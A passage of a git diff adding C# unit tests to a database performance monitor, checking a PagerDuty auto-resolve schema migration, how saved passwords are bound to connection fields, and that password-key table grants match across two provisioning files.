+        /* V167 (the record of old-format saved passwords) landed above this rung, so it is no longer the top. */
+        Assert.Equal(StorageVersion.SchemaVersion, PgMigrations.Scripts[^1].Version);
+        Assert.Equal(StorageVersion.SchemaVersion, versions.Max());
+        Assert.Contains(RungVersion, versions);
+
+        Assert.Equal(versions.Distinct().OrderBy(v => v), versions);
+    }
+
+    /// <summary>
+    /// The rung adds ONE column to the singleton notification row, schema-qualified, with FALSE as its
+    /// default so every existing store keeps the shipped no-auto-resolve behaviour. NOT NULL because the
+    /// setting is a plain on/off toggle with a shipped value — there is no third "unset" reading — matching
+    /// how the sibling <c>pagerduty_use_eu_region</c> / <c>pagerduty_proxy</c> columns on this table landed.
+    /// </summary>
+    [Fact]
+    public void TheRungAddsTheColumn_SchemaQualified_WithFalseAsDefault()
+    {
+        var rung = PgMigrations.Scripts.Single(s => s.Version == RungVersion).Sql;
+
+        /* Schema-qualified for the reason every config rung is: the migrate session's search_path puts
+           collect first, so a bare name would resolve to the wrong schema (and the wrong ACL). */
+        Assert.Equal(1, CountOf(rung, "ALTER TABLE config.config_notification"));
+        Assert.DoesNotContain("ALTER TABLE config_notification", rung, StringComparison.Ordinal);
+
+        Assert.Equal(1, CountOf(rung, "ADD COLUMN IF NOT EXISTS"));
+        Assert.Contains(
+            $"ADD COLUMN IF NOT EXISTS {ResolveColumn} boolean NOT NULL DEFAULT FALSE;",
+            rung, StringComparison.Ordinal);
+
+        /* A boolean toggle, not a secret: no column GRANT carve of its own, and no reload beacon of its
+           own — V17's statement-level trg_bump_notification already bumps on any write here. */
+        Assert.DoesNotContain("GRANT", rung, StringComparison.Ordinal);
+        Assert.DoesNotContain("config_bump_version", rung, StringComparison.Ordinal);
+
+        /* No data movement: a boolean ADD COLUMN with a constant default is metadata-only in PostgreSQL. */
+        foreach (var shape in new[] { "UPDATE ", "DELETE ", "INSERT ", "CREATE INDEX" })
+        {
+            Assert.DoesNotContain(shape, rung, StringComparison.Ordinal);
+        }
+    }
+
+    /* ---- the probe (three sites, top arm) ------------------------------------------------------------- */
+
+    /// <summary>
+    /// The viewer probe's three sites carry this rung's sentinel, and the map treats it as the TOP arm.
+    ///
+    /// <para>The probe asks the question, the caller reads the answer, the map has the parameter — three
+    /// sites, and a sentinel present at only some of them shifts every LATER ordinal onto the wrong column.
+    /// Miss all three and a fully-migrated store probes one rung short, so the connect-time gate refuses a
+    /// store that is in fact current — permanently, because no later upgrade changes the answer.</para>
+    /// </summary>
+    [Fact]
+    public void TheProbeMapsAStoreThatStoppedHereToThisRung()
+    {
+        Assert.Contains($"column_name = '{ResolveColumn}'", ViewerDataService.StoreSchemaProbeSql, StringComparison.Ordinal);
+
+        var viewer = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.cs");
+        Assert.Contains($"reader.GetBoolean({ProbeOrdinal})", viewer, StringComparison.Ordinal);
+        Assert.Equal(StorageVersion.SchemaVersion, ViewerDataService.RequiredStoreSchemaVersion);
+
+        var method = typeof(ViewerDataService)
+            .GetMethod("MapProbedSchemaVersion", BindingFlags.NonPublic | BindingFlags.Static)!;
+        var arity = method.GetParameters().Length;
+
+        /* A newer rung's sentinel (V167's) follows this one. */
+        Assert.True(ProbeOrdinal < arity - 1, "a newer rung's sentinel follows this one");
+
+        /* Every sentinel true = a fully-migrated store, which must map to exactly this version. */
+        var all = Enumerable.Repeat((object)true, arity).ToArray();
+        Assert.Equal(StorageVersion.SchemaVersion, (int)method.Invoke(null, all)!);
+
+        /* This rung's own arm answers for a store that stopped here. */
+        var atThisRung = Enumerable.Range(0, arity).Select(i => (object)(i <= ProbeOrdinal)).ToArray();
+        Assert.Equal(RungVersion, (int)method.Invoke(null, atThisRung)!);
+
+        /* One rung behind: the same store WITHOUT this rung's sentinel reports the previous rung. */
+        var behind = (object[])atThisRung.Clone();
+        behind[ProbeOrdinal] = false;
+        Assert.Equal(PreviousVersion, (int)method.Invoke(null, behind)!);
+
+        /* And in the source, the arm sits ABOVE V165's — newest-first is the whole contract of that method —
+           and returns this build's version rather than a literal that could drift from it. */
+        var v166 = viewer.IndexOf("if (hasPagerDutyAutoResolve)", StringComparison.Ordinal);
+        var v165 = viewer.IndexOf("if (hasPasswordKey)", StringComparison.Ordinal);
+        Assert.True(v166 >= 0, "the viewer has no V166 sentinel arm — a fully-migrated store would map to 165");
+        Assert.True(v165 >= 0, "the V165 arm is gone, so this pin is comparing against nothing");
+        Assert.True(v166 < v165, "the V166 arm sits below V165's, so a store that stopped at V166 maps one rung low");
+        Assert.Contains(
+            "return " + RungVersion.ToString(CultureInfo.InvariantCulture) + ";",
+            viewer[v166..v165], StringComparison.Ordinal);
+    }
+
+    /* ---- every notification-row surface names the column ---------------------------------------------- */
+
+    /// <summary>
+    /// EVERY surface that reads or writes the notification row names the column — the viewer INCLUDED. The
+    /// service's read feeds the config hot-swap, the viewer's selects and upsert drive ordinal reads and
+    /// bound parameters, and the ACL lists drive the read-only roles' grants. A column added to one and not
+    /// the others re-maps reads and writes at once. The column is non-secret, so unlike the routing key
+    /// beside it, it stays in the read-only roles' SELECT grant in both the code generator and the shipped
+    /// provisioning script.
+    /// </summary>
+    [Fact]
+    public void EveryNotificationRowSurfaceNamesTheColumn()
+    {
+        var service = RepoFile.ReadRepoFile(
+            "Darling", "PerformanceMonitor.Darling.Service", "StoreConfigProvider.cs");
+        Assert.Contains(ResolveColumn, service, StringComparison.Ordinal);
+        Assert.Contains("PagerDutyAutoResolve = reader.GetBoolean(19)", service, StringComparison.Ordinal);
+
+        var viewerSettings = RepoFile.ReadRepoFile(
+            "Darling", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.Notification.cs");
+        Assert.Contains(ResolveColumn, ViewerDataService.NotificationSelectSql, StringComparison.Ordinal);
+        Assert.Contains(ResolveColumn, ViewerDataService.NotificationSelectNoSecretSql, StringComparison.Ordinal);
+        Assert.Contains(
+            $"{ResolveColumn} = EXCLUDED.{ResolveColumn}", ViewerDataService.NotificationUpsertSql, StringComparison.Ordinal);
+        Assert.Contains("PagerDutyAutoResolve = reader.GetBoolean(19)", viewerSettings, StringComparison.Ordinal);
+        Assert.Contains("PagerDutyAutoResolve = reader.GetBoolean(12)", viewerSettings, StringComparison.Ordinal);
+
+        var roles = RepoFile.ReadRepoFile(
+            "Darling", "PerformanceMonitor.Darling.Service", "DarlingManagedRoles.cs");
+        Assert.Contains(ResolveColumn, roles, StringComparison.Ordinal);
+
+        var provision = RepoFile.ReadRepoFile("Darling", "tools", "provision-roles.sql");
+        Assert.Contains(ResolveColumn, provision, StringComparison.Ordinal);
+    }
+
+    /* ---- the seam reaches the gate -------------------------------------------------------------------- */
+
+    /// <summary>
+    /// The settings adapter reads the live config (the store column is authoritative), so a store reload —
+    /// the View's own save, or an edit from the service side — reflects the operator's choice on the next
+    /// firing without a restart. The shipped default is false: the tool never auto-resolves a third-party
+    /// incident unasked.
+    /// </summary>
+    [Fact]
+    public void TheSettingsSeamDefaultsToFalse_AndReadsTheConfig()
+    {
+        var config = new DarlingConfig();
+        var settings = new DarlingAlertSettings(config);
+
+        Assert.False(settings.PagerDutyAutoResolve);
+
+        config.Webhooks.PagerDutyAutoResolve = true;
+        Assert.True(settings.PagerDutyAutoResolve);
+    }
+
+    private static int CountOf(string haystack, string needle)
+    {
+        var count = 0;
+        for (var at = haystack.IndexOf(needle, StringComparison.Ordinal);
+             at >= 0;
+             at = haystack.IndexOf(needle, at + needle.Length, StringComparison.Ordinal))
+        {
+            count++;
+        }
+
+        return count;
+    }
+}
diff --git a/Darling/Darling.Tests/ParameterSensitiveDrillDownTextLiveTests.cs b/Darling/Darling.Tests/ParameterSensitiveDrillDownTextLiveTests.cs
index 59d418eae4..440bb24c18 100644
--- a/Darling/Darling.Tests/ParameterSensitiveDrillDownTextLiveTests.cs
+++ b/Darling/Darling.Tests/ParameterSensitiveDrillDownTextLiveTests.cs
@@ -171,7 +171,7 @@ public async Task TheDrillDown_ReturnsTheOraclesRows_AndResolvesTextForThePrinte
 
         try
         {
-            var windowEnd = TruncateToSeconds(DateTime.UtcNow);
+            var windowEnd = TruncateToSeconds(DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc));
             var windowStart = windowEnd.AddHours(-4);
             var context = new AnalysisContext
             {
diff --git a/Darling/Darling.Tests/ParameterSensitivityFiringSignatureParityTests.cs b/Darling/Darling.Tests/ParameterSensitivityFiringSignatureParityTests.cs
index deeff0c3d0..589000d4eb 100644
--- a/Darling/Darling.Tests/ParameterSensitivityFiringSignatureParityTests.cs
+++ b/Darling/Darling.Tests/ParameterSensitivityFiringSignatureParityTests.cs
@@ -66,6 +66,7 @@ namespace Darling.Tests;
 /// file, so raising a number in one guard without the other fails. Its filter, <c>lite</c>, covers
 /// Darling's test tree — exactly the edits that could weaken this file.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class ParameterSensitivityFiringSignatureParityTests
 {
     /// <summary>
diff --git a/Darling/Darling.Tests/PasswordBindingCensusTests.cs b/Darling/Darling.Tests/PasswordBindingCensusTests.cs
new file mode 100644
index 0000000000..c39a2cddf6
--- /dev/null
+++ b/Darling/Darling.Tests/PasswordBindingCensusTests.cs
@@ -0,0 +1,309 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Security.Cryptography;
+using System.Text;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Keeps the fields a saved password is bound to in step with everything else that names the same set (#5366): the
+/// <see cref="ServerConnectionIdentity"/> properties, the bound field list, the settings the connection builder reads,
+/// and the columns the store's edit function compares. Also pins the identity's comparison rule to the one the edit
+/// and connection-test paths use today, and the byte layout of the associated data.
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class PasswordBindingCensusTests
+{
+    private static readonly ServerConnectionIdentity Base =
+        new("example-sql-01", 1433, "sqlserver", "example_db", false, "sql", "example_login", "Mandatory", false, false);
+
+    private static string[] IdentityProperties() =>
+        typeof(ServerConnectionIdentity).GetProperties(BindingFlags.Public | BindingFlags.Instance)
+            .Select(p => p.Name).OrderBy(n => n, StringComparer.Ordinal).ToArray();
+
+    private static string Snake(string pascal) =>
+        Regex.Replace(pascal, "(?<!^)([A-Z])", "_$1").ToLowerInvariant();
+
+    private static string Source(string relativeToDarling, [CallerFilePath] string thisFile = "") =>
+        File.ReadAllText(Path.Combine(Path.GetDirectoryName(thisFile)!, "..", relativeToDarling));
+
+    private static Dictionary<string, ServerConnectionIdentity> OneFieldChanged() => new()
+    {
+        [nameof(ServerConnectionIdentity.Host)] = Base with { Host = "example-sql-02" },
+        [nameof(ServerConnectionIdentity.Port)] = Base with { Port = 1434 },
+        [nameof(ServerConnectionIdentity.Engine)] = Base with { Engine = "postgres" },
+        [nameof(ServerConnectionIdentity.Database)] = Base with { Database = "other_db" },
+        [nameof(ServerConnectionIdentity.ReadOnlyIntent)] = Base with { ReadOnlyIntent = true },
+        [nameof(ServerConnectionIdentity.Auth)] = Base with { Auth = "serviceprincipal" },
+        [nameof(ServerConnectionIdentity.Username)] = Base with { Username = "other_login" },
+        [nameof(ServerConnectionIdentity.EncryptMode)] = Base with { EncryptMode = "Optional" },
+        [nameof(ServerConnectionIdentity.TrustServerCertificate)] = Base with { TrustServerCertificate = true },
+        [nameof(ServerConnectionIdentity.MultiSubnetFailover)] = Base with { MultiSubnetFailover = true },
+    };
+
+    [Fact]
+    public void The_server_binding_names_exactly_the_identity_properties()
+    {
+        var names = PasswordBinding.ServerFieldNames.OrderBy(n => n, StringComparer.Ordinal).ToArray();
+
+        Assert.Equal(IdentityProperties(), names);
+        Assert.Equal(names.Length, PasswordBinding.ForServer(Base).Fields.Count);
+        Assert.Equal(IdentityProperties(), OneFieldChanged().Keys.OrderBy(n => n, StringComparer.Ordinal).ToArray());
+    }
+
+    [Fact]
+    public void Changing_any_identity_property_changes_exactly_the_field_the_binding_names_for_it()
+    {
+        var baseline = PasswordBinding.ForServer(Base).Fields;
+
+        foreach (var (property, changed) in OneFieldChanged())
+        {
+            var fields = PasswordBinding.ForServer(changed).Fields;
+            var differing = Enumerable.Range(0, fields.Count).Where(i => fields[i] != baseline[i]).ToArray();
+
+            Assert.True(differing.Length == 1, $"{property} changed {differing.Length} bound fields");
+            Assert.Equal(property, PasswordBinding.ServerFieldNames[differing[0]]);
+        }
+    }
+
+    [Fact]
+    public void The_stored_column_list_and_the_row_mapping_cover_the_identity_properties()
+    {
+        var columns = ServerConnectionIdentity.StoredColumns.Split(',', StringSplitOptions.TrimEntries)
+            .OrderBy(c => c, StringComparer.Ordinal).ToArray();
+        var expected = IdentityProperties().Select(Snake).OrderBy(c => c, StringComparer.Ordinal).ToArray();
+
+        Assert.Equal(expected, columns);
+        Assert.Equal(
+            IdentityProperties().Length,
+            typeof(ServerConnectionIdentity).GetMethod(nameof(ServerConnectionIdentity.FromStoredColumns))!.GetParameters().Length);
+    }
+
+    [Fact]
+    public void A_raw_row_maps_with_nulls_as_empty_text_and_zero_and_no_trimming_or_case_change()
+    {
+        var empty = ServerConnectionIdentity.FromStoredColumns(null, null, null, null, false, null, null, null, false, false);
+        var row = ServerConnectionIdentity.FromStoredColumns(
+            " Example-SQL-01 ", 1433, "SqlServer", "Example_Db", true, "SQL", "Example_Login", "Mandatory", true, true);
+
+        Assert.Equal(new ServerConnectionIdentity("", 0, "", "", false, "", "", "", false, false), empty);
+        Assert.Equal(
+            new ServerConnectionIdentity(
+                " Example-SQL-01 ", 1433, "SqlServer", "Example_Db", true, "SQL", "Example_Login", "Mandatory", true, true),
+            row);
+    }
+
+    [Fact]
+    public void Every_server_setting_the_connection_builder_reads_is_bound_or_on_the_allowlist()
+    {
+        var allowed = new HashSet<string>(StringComparer.Ordinal)
+        {
+            "DisplayName", "UsesSqlAuth", "UsesServicePrincipal", "UsesManagedIdentity", "IsPostgres",
+            "HasRemediationCredential", "RemediationUsername",
+        };
+        var bound = IdentityProperties().ToHashSet(StringComparer.Ordinal);
+        var read = Regex.Matches(Source("PerformanceMonitor.Darling.Service/MonitoredServerConnection.cs"), @"\bserver\.([A-Za-z_]\w*)")
+            .Select(m => m.Groups[1].Value).Distinct(StringComparer.Ordinal).ToArray();
+
+        Assert.NotEmpty(read);
+        var unbound = read.Where(r => !bound.Contains(r) && !allowed.Contains(r)).ToArray();
+        Assert.True(
+            unbound.Length == 0,
+            "MonitoredServerConnection reads a server setting that no password is bound to: " + string.Join(", ", unbound)
+            + ". Bind it in PasswordBinding (and ServerConnectionIdentity), or add it to the allowlist here with the reason.");
+    }
+
+    private static string[] UnboundReads(string source, ISet<string> bound, ISet<string> allowed) =>
+        Regex.Matches(source, @"\bserver\.([A-Za-z_]\w*)")
+            .Select(m => m.Groups[1].Value).Distinct(StringComparer.Ordinal)
+            .Where(r => !bound.Contains(r) && !allowed.Contains(r)).ToArray();
+
+    [Fact]
+    public void Every_server_setting_the_remediation_builder_reads_is_bound_for_remediation_or_on_the_allowlist()
+    {
+        var allowed = new HashSet<string>(StringComparer.Ordinal) { "DisplayName", "IsPostgres", "HasRemediationCredential" };
+        var bound = PasswordBinding.RemediationFieldNames.ToHashSet(StringComparer.Ordinal);
+        var source = Source("PerformanceMonitor.Darling.Service/MonitoredServerConnection.cs");
+        var start = source.IndexOf("public static string BuildRemediationConnectionString(", StringComparison.Ordinal);
+        var end = source.IndexOf("public const string RemediationApplicationName", StringComparison.Ordinal);
+        Assert.True(start > 0 && end > start, "the remediation connection builder moved");
+        var body = source[start..end];
+
+        Assert.Equal(PasswordBinding.ForRemediation(Base, "example_fix").Fields.Count, bound.Count);
+        Assert.Contains("server.Host", body, StringComparison.Ordinal);
+        var unbound = UnboundReads(body, bound, allowed);
+        Assert.True(
+            unbound.Length == 0,
+            "The remediation connection builder reads a server setting that the remediation password is not bound to: "
+            + string.Join(", ", unbound) + ". Bind it in PasswordBinding.ForRemediation, or add it to the allowlist here with the reason.");
+    }
+
+    [Fact]
+    public void The_remediation_check_flags_a_read_of_a_setting_that_is_bound_for_servers_but_not_for_remediation()
+    {
+        var allowed = new HashSet<string>(StringComparer.Ordinal) { "DisplayName", "IsPostgres", "HasRemediationCredential" };
+        var bound = PasswordBinding.RemediationFieldNames.ToHashSet(StringComparer.Ordinal);
+
+        Assert.Equal(new[] { "Port" }, UnboundReads("var x = server.Host + server.Port + server.DisplayName;", bound, allowed));
+        Assert.Equal(new[] { "ReadOnlyIntent" }, UnboundReads("var x = server.ReadOnlyIntent;", bound, allowed));
+        Assert.Empty(UnboundReads("var x = server.Host + server.RemediationUsername + server.Engine;", bound, allowed));
+    }
+
+    [Fact]
+    public void The_columns_the_edit_function_compares_plus_engine_are_the_identity_properties()
+    {
+        var sql = Source("tools/provision-roles.sql");
+        var marker = sql.IndexOf("'password_needed'", StringComparison.Ordinal);
+        Assert.True(marker > 0, "the edit function no longer answers password_needed");
+        var start = sql.LastIndexOf("v_connection_changed :=", marker, StringComparison.Ordinal);
+        Assert.True(start > 0);
+        var block = sql[start..marker];
+
+        var columns = Regex.Matches(block, @"v_old_([a-z_]+)").Select(m => m.Groups[1].Value)
+            .Append("engine").Distinct(StringComparer.Ordinal).OrderBy(c => c, StringComparer.Ordinal).ToArray();
+        var expected = IdentityProperties().Select(Snake).OrderBy(c => c, StringComparer.Ordinal).ToArray();
+
+        Assert.Equal(expected, columns);
+    }
+
+    [Fact]
+    public void Identity_Differ_compares_each_field_by_its_rule()
+    {
+        Assert.False(ServerConnectionIdentity.Differ(Base, Base));
+        foreach (var (field, changed) in OneFieldChanged())
+        {
+            Assert.True(ServerConnectionIdentity.Differ(Base, changed), field + " does not make two connections differ");
+            Assert.True(ServerConnectionIdentity.Differ(changed, Base), field + " is not symmetric");
+        }
+
+        /* Host, username and database are ordinal. */
+        Assert.True(ServerConnectionIdentity.Differ(Base, Base with { Host = "EXAMPLE-SQL-01" }));
+        Assert.True(ServerConnectionIdentity.Differ(Base, Base with { Host = "example-sql-01 " }));
+        Assert.True(ServerConnectionIdentity.Differ(Base, Base with { Username = "EXAMPLE_LOGIN" }));
+        Assert.True(ServerConnectionIdentity.Differ(Base, Base with { Database = "EXAMPLE_DB" }));
+        Assert.True(ServerConnectionIdentity.Differ(Base, Base with { Database = null }));
+
+        /* Authentication, encrypt mode and engine ignore case. */
+        Assert.False(ServerConnectionIdentity.Differ(Base, Base with { Auth = "SQL", EncryptMode = "MANDATORY", Engine = "SQLSERVER" }));
+    }
+
+    /// <summary>
+    /// "Two connections differ" is <see cref="ServerConnectionIdentity.Differ"/> and nothing else (#5366): the edit core,
+    /// the connection test, the file matching and the Viewer all use it. This reads every source file under Darling
+    /// (tests and build output left out) and finds no other comparison of the trust or multi-subnet flags, and none of the
+    /// deleted types or helper names. The worker's own reconnect check compares the whole definition, secrets and display
+    /// name included, so it is the one allowed exception.
+    /// </summary>
+    [Fact]
+    public void No_other_connection_predicate_remains_under_Darling()
+    {
+        var darling = Path.GetFullPath(Path.Combine(Path.GetDirectoryName(ThisFile())!, ".."));
+        var allowed = new HashSet<string>(StringComparer.Ordinal) { "ServerConnectionIdentity.cs", "DarlingWorker.cs" };
+        var flagCompare = new Regex(@"\b(TrustServerCertificate|MultiSubnetFailover)\s*(!=|==)", RegexOptions.CultureInvariant);
+        var offenders = new List<string>();
+        foreach (var file in Directory.EnumerateFiles(darling, "*.cs", SearchOption.AllDirectories))
+        {
+            var relative = Path.GetRelativePath(darling, file).Replace('\\', '/');
+            if (relative.StartsWith("Darling.Tests/", StringComparison.Ordinal)
+                || relative.Contains("/obj/", StringComparison.Ordinal) || relative.Contains("/bin/", StringComparison.Ordinal))
+            {
+                continue;
+            }
+
+            var text = File.ReadAllText(file);
+            if (text.Contains("ConnectionSettingsDiffer", StringComparison.Ordinal)
+                || Regex.IsMatch(text, @"\bServerConnectionSettings\b")
+                || (!allowed.Contains(Path.GetFileName(file)) && flagCompare.IsMatch(text)))
+            {
+                offenders.Add(relative);
+            }
+        }
+
+        Assert.True(
+            offenders.Count == 0,
+            "Another connection comparison exists besides ServerConnectionIdentity.Differ: " + string.Join(", ", offenders));
+    }
+
+    private static string ThisFile([CallerFilePath] string thisFile = "") => thisFile;
+
+    [Fact]
+    public void The_associated_data_is_the_label_key_id_purpose_and_fields_each_with_a_four_byte_length()
+    {
+        var binding = PasswordBinding.ForSmtp("omega-01", 587, true, null);
+        var expected = new List<byte>();
+        foreach (var part in new[] { "PerformanceMonitor.Darling.sealed.v1", "0123456789abcdef", "smtp", "omega-01", "587", "1", "" })
+        {
+            var bytes = Encoding.UTF8.GetBytes(part);
+            expected.AddRange(new byte[] { 0, 0, 0, (byte)bytes.Length });
+            expected.AddRange(bytes);
+        }
+
+        Assert.Equal(expected.ToArray(), binding.EncodeAad("0123456789abcdef"));
+        Assert.Equal(
+            PasswordBinding.ForSmtp("omega-01", 587, true, "").EncodeAad("0123456789abcdef"),
+            binding.EncodeAad("0123456789abcdef"));
+        Assert.Equal(SHA256.HashData(binding.EncodeAad("")), binding.LegacyPinHash());
+        Assert.NotEqual(binding.EncodeAad("0123456789abcdef"), binding.EncodeAad("fedcba9876543210"));
+    }
+
+    [Fact]
+    public void Each_purpose_binds_its_fixed_number_of_fields_in_the_documented_text_form()
+    {
+        var server = PasswordBinding.ForServer(Base with { Auth = "SQL", EncryptMode = "Mandatory", Engine = "SqlServer", ReadOnlyIntent = true });
+        var remediation = PasswordBinding.ForRemediation(Base with { Engine = "SqlServer" }, "example_fix");
+        var smtp = PasswordBinding.ForSmtp("omega-01", 587, false, "example_mail_user");
+
+        Assert.Equal("server", server.Purpose);
+        Assert.Equal(
+            new string?[] { "example-sql-01", "1433", "example_db", "1", "sql", "example_login", "mandatory", "0", "0", "sqlserver" },
+            server.Fields.ToArray());
+        Assert.Equal("remediation", remediation.Purpose);
+        Assert.Equal(
+            new string?[] { "example-sql-01", "example_db", "mandatory", "0", "0", "example_fix", "sqlserver" },
+            remediation.Fields.ToArray());
+        Assert.Equal("smtp", smtp.Purpose);
+        Assert.Equal(new string?[] { "omega-01", "587", "0", "example_mail_user" }, smtp.Fields.ToArray());
+    }
+
+    [Fact]
+    public void The_webhook_purpose_binds_slot_row_proxy_and_bound_url_and_names_only_known_slots()
+    {
+        const string KeyId = "0123456789abcdef";
+        var teams = PasswordBinding.ForWebhook("teams", PasswordBinding.WebhookSettingsRow, "http://proxy.example:8080", null);
+        var headers = PasswordBinding.ForWebhook("generic_headers", PasswordBinding.WebhookRouteRow(7), "", "sealed:v1:example");
+
+        Assert.Equal("webhook", teams.Purpose);
+        Assert.Equal(new string?[] { "teams", "notification", "http://proxy.example:8080", null }, teams.Fields.ToArray());
+        Assert.Equal(new string?[] { "generic_headers", "route:7", "", "sealed:v1:example" }, headers.Fields.ToArray());
+        Assert.Equal(
+            PasswordBinding.ForWebhook("slack", "notification", null, null).EncodeAad(KeyId),
+            PasswordBinding.ForWebhook("slack", "notification", "", "").EncodeAad(KeyId));
+        Assert.Equal(
+            new[] { "teams", "slack", "generic", "pagerduty", "generic_headers" }, PasswordBinding.WebhookSlots.ToArray());
+        Assert.Throws<ArgumentException>(() => PasswordBinding.ForWebhook("smtp", "notification", "", ""));
+
+        /* Every field is part of what the value belongs to. */
+        var baseAad = teams.EncodeAad(KeyId);
+        Assert.NotEqual(baseAad, PasswordBinding.ForWebhook("slack", "notification", "http://proxy.example:8080", null).EncodeAad(KeyId));
+        Assert.NotEqual(baseAad, PasswordBinding.ForWebhook("teams", "route:1", "http://proxy.example:8080", null).EncodeAad(KeyId));
+        Assert.NotEqual(baseAad, PasswordBinding.ForWebhook("teams", "notification", "", null).EncodeAad(KeyId));
+        Assert.NotEqual(baseAad, PasswordBinding.ForWebhook("teams", "notification", "http://proxy.example:8080", "x").EncodeAad(KeyId));
+    }
+}
diff --git a/Darling/Darling.Tests/PasswordKeyGrantParityTests.cs b/Darling/Darling.Tests/PasswordKeyGrantParityTests.cs
new file mode 100644
index 0000000000..931b3d5aa0
--- /dev/null
+++ b/Darling/Darling.Tests/PasswordKeyGrantParityTests.cs
@@ -0,0 +1,140 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text.RegularExpressions;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The password key tables' grant and revoke lines are written twice (V165, #5366): in the service's managed-role batch
+/// (<c>DarlingManagedRoles.cs</c>, step 10a) and in the hand-run <c>provision-roles.sql</c> (step 3g). This static test (no
+/// database) pins that the two say the same thing, and that each comes after the last schema-wide grant on the
+/// <c>config</c> schema in its own file, so no blanket grant can run after it.
+/// </summary>
+public sealed class PasswordKeyGrantParityTests
+{
+    private static readonly string[] Placeholders = { "admin", "viewer", "mcp", "config" };
+
+    private static string Managed => RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingManagedRoles.cs");
+
+    private static string Script => RepoFile.ReadRepoFile("Darling", "tools", "provision-roles.sql");
+
+    /// <summary>The statement starting at <paramref name="start"/> up to its semicolon, placeholders spelled as the script spells them, whitespace folded.</summary>
+    private static string Normalise(string text, int start)
+    {
+        var end = text.IndexOf(';', start);
+        var statement = text[start..end];
+        foreach (var name in Placeholders)
+        {
+            statement = statement.Replace("{" + name + "}", name, StringComparison.Ordinal);
+        }
+
+        return Regex.Replace(statement, @"\s+", " ").Trim();
+    }
+
+    private static (int Revoke, string RevokeText, string GrantText) Lines(string text)
+    {
+        var revoke = text.IndexOf("REVOKE ALL ON {config}.password_key", StringComparison.Ordinal);
+        if (revoke < 0)
+        {
+            revoke = text.IndexOf("REVOKE ALL ON config.password_key", StringComparison.Ordinal);
+        }
+
+        Assert.True(revoke >= 0, "the key tables' REVOKE is missing");
+        var grant = Regex.Match(text[revoke..], @"GRANT SELECT ON (\{config\}|config)\.password_key,");
+        Assert.True(grant.Success, "the key tables' SELECT grant is missing");
+        return (revoke, Normalise(text, revoke), Normalise(text, revoke + grant.Index));
+    }
+
+    [Fact]
+    public void TheManagedBatchAndTheScript_RevokeAndGrantTheSameThing_OnTheKeyTables()
+    {
+        var managed = Lines(Managed);
+        var script = Lines(Script);
+
+        Assert.Equal(script.RevokeText, managed.RevokeText);
+        Assert.Equal(script.GrantText, managed.GrantText);
+        Assert.Equal(
+            "REVOKE ALL ON config.password_key, config.password_key_service, config.legacy_secret_pin, config.legacy_secret_pin_marker FROM PUBLIC, admin, viewer, mcp CASCADE",
+            managed.RevokeText);
+        Assert.Equal("GRANT SELECT ON config.password_key, config.password_key_service TO admin", managed.GrantText);
+
+        /* The candidate table (V167) has its own REVOKE, the same text in both files. */
+        const string CandidateRevoke = "REVOKE ALL ON config.legacy_secret_pin_candidate FROM PUBLIC, admin, viewer, mcp CASCADE";
+        foreach (var text in new[] { Managed, Script })
+        {
+            var at = text.IndexOf("REVOKE ALL ON {config}.legacy_secret_pin_candidate", StringComparison.Ordinal);
+            if (at < 0)
+            {
+                at = text.IndexOf("REVOKE ALL ON config.legacy_secret_pin_candidate", StringComparison.Ordinal);
+            }
+
+            Assert.True(at >= 0, "the candidate table's REVOKE is missing");
+            Assert.Equal(CandidateRevoke, Normalise(text, at));
+        }
+
+        /* Nothing else is granted on the key tables in either file. */
+        foreach (var text in new[] { Managed, Script })
+        {
+            Assert.Single(Regex.Matches(text, @"GRANT [^;]*password_key"));
+            Assert.DoesNotContain("legacy_secret_pin TO", text, StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public void TheScriptsGuard_NamesTheFourV165Tables_AndTheCandidateTableHasItsOwnBranch()
+    {
+        var script = Script.Replace("\r\n", "\n", StringComparison.Ordinal);
+        var start = script.IndexOf("-- 3g.", StringComparison.Ordinal);
+        var block = script[start..script.IndexOf("-- 4. Default privileges", start, StringComparison.Ordinal)];
+
+        /* The guard: the four V165 tables only, so a store at V165 or V166 still gets their revoke. */
+        var guardStart = block.IndexOf("IF pg_catalog.to_regclass('config.password_key')", StringComparison.Ordinal);
+        Assert.True(guardStart >= 0, "the guard is missing");
+        var guard = block[guardStart..block.IndexOf("THEN", guardStart, StringComparison.Ordinal)];
+        Assert.Equal(4, Regex.Matches(guard, "to_regclass\\(").Count);
+        Assert.DoesNotContain("legacy_secret_pin_candidate", guard, StringComparison.Ordinal);
+
+        /* The candidate table is revoked in its own branch, inside the guarded block and after the four-table revoke. */
+        var branch = Regex.Match(block,
+            @"IF pg_catalog\.to_regclass\('config\.legacy_secret_pin_candidate'\) IS NOT NULL THEN\s+REVOKE ALL ON config\.legacy_secret_pin_candidate FROM PUBLIC, admin, viewer, mcp CASCADE;\s+END IF;");
+        Assert.True(branch.Success, "the candidate table's own branch is missing");
+        Assert.True(branch.Index > block.IndexOf("REVOKE ALL ON config.password_key,", StringComparison.Ordinal), "the branch follows the four-table revoke");
+        Assert.True(branch.Index > guardStart, "the branch sits inside the guarded block");
+
+        /* The four-table revoke names no candidate table. */
+        var four = block[block.IndexOf("REVOKE ALL ON config.password_key,", StringComparison.Ordinal)..];
+        four = four[..four.IndexOf(';', StringComparison.Ordinal)];
+        Assert.DoesNotContain("legacy_secret_pin_candidate", four, StringComparison.Ordinal);
+
